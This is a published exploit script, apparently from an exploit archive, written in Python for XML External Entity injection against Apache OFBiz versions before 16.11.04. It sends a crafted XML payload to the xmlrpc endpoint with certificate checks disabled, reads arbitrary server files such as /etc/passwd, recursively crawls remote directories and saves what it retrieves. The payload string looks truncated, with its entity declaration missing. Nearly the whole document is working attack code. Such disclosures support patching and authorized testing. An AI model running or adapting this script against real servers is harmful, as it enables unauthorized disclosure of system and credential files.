# Exploit Title: Apache OFBiz 16.11.04 - XML External Entity Injection # Date: 2018-10-15 # Exploit Author: Jamie Parfet # Vendor Homepage: https://ofbiz.apache.org/ # Software Link: https://archive.apache.org/dist/ofbiz/ # Version: < 16.11.04 # Tested on: Ubuntu 18.04.1 # CVE: N/A #!/usr/bin/env python3 # ***************************************************** # Type: XML External Entity Injection (File disclosure) # Target: Apache OFBiz < 16.11.04 # Author: Jamie Parfet # ***************************************************** import sys import os import requests import urllib3 import re import argparse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) simple_payload = """]> xXx &disclose;xXx """ if len(sys.argv) <= 1: print('[*] Apache OFBiz < 16.11.04 XXE') print('[*] Use "%s -h" to display help.' % (sys.argv[0])) exit(0) parser = argparse.ArgumentParser() parser.add_argument("-u", metavar="https://localhost:8443", dest="url", required=True, help="Target URL (required)", action='store') parser.add_argument("-f", metavar="/etc/passwd", dest="file", help="Target file", action='store') parser.add_argument("-c", metavar="/home/", dest="crawl", help="Target directory to start crawling from", action='store') parser.add_argument("-o", metavar="~/local/output/directory/", dest="output_dir", help="Local directory that remote file will be saved to", action='store') args = parser.parse_args() url = args.url if args.url else None target_file = args.file if args.file else None crawl_dir = args.crawl if args.crawl else None output_dir = args.output_dir if args.output_dir else None def check_url(url): if '://' not in url: print('[-] ERROR: Please include protocol in URL, such as https://{}'.format(url)) exit(0) else: return url def request(url, payload): response = requests.post(url + '/webtools/control/xmlrpc', data=payload, verify=False).text parsed_response = re.sub(r'(.*xXx\n|xXx.*)', '', response) return parsed_response def crawl(crawl_dir): payload = simple_payload.format(crawl_dir) response = request(url, payload) payload_404 = simple_payload.format(crawl_dir + "/xX404Xx") response_404 = request(url, payload_404) if 'No such file or directory' in response: print("[-] ERROR - 404: {}".format(crawl_dir)) elif 'Permission denied' in response or 'but is not accessible' in response: print("[-] ERROR - Permission: {}".format(crawl_dir)) elif 'Not a directory' in response_404: print("[*] FILE: {}".format(crawl_dir)) else: print("[*] DIR: {}".format(crawl_dir)) for f in response.splitlines(): full_path = (crawl_dir + '/' + f) crawl(full_path) def main(url=url, target_file=target_file, crawl_dir=crawl_dir, output_dir=output_dir): if url: check_url(url) if crawl_dir: crawl(crawl_dir) else: payload = simple_payload.format(target_file) if output_dir: if os.path.isdir(output_dir): result = request(url, payload) remote_file_name = re.sub('/', '--', target_file) output_file = (output_dir + '/' + remote_file_name[2:]) file = open(output_file, 'w') file.write(result) file.close() else: print("[-] ERROR: {} is not a writeable directory".format(output_dir)) else: result = request(url, payload) print(result) if __name__ == '__main__': try: main() except KeyboardInterrupt: print('\nKeyboard interrupt detected.') print('Exiting...') exit(0)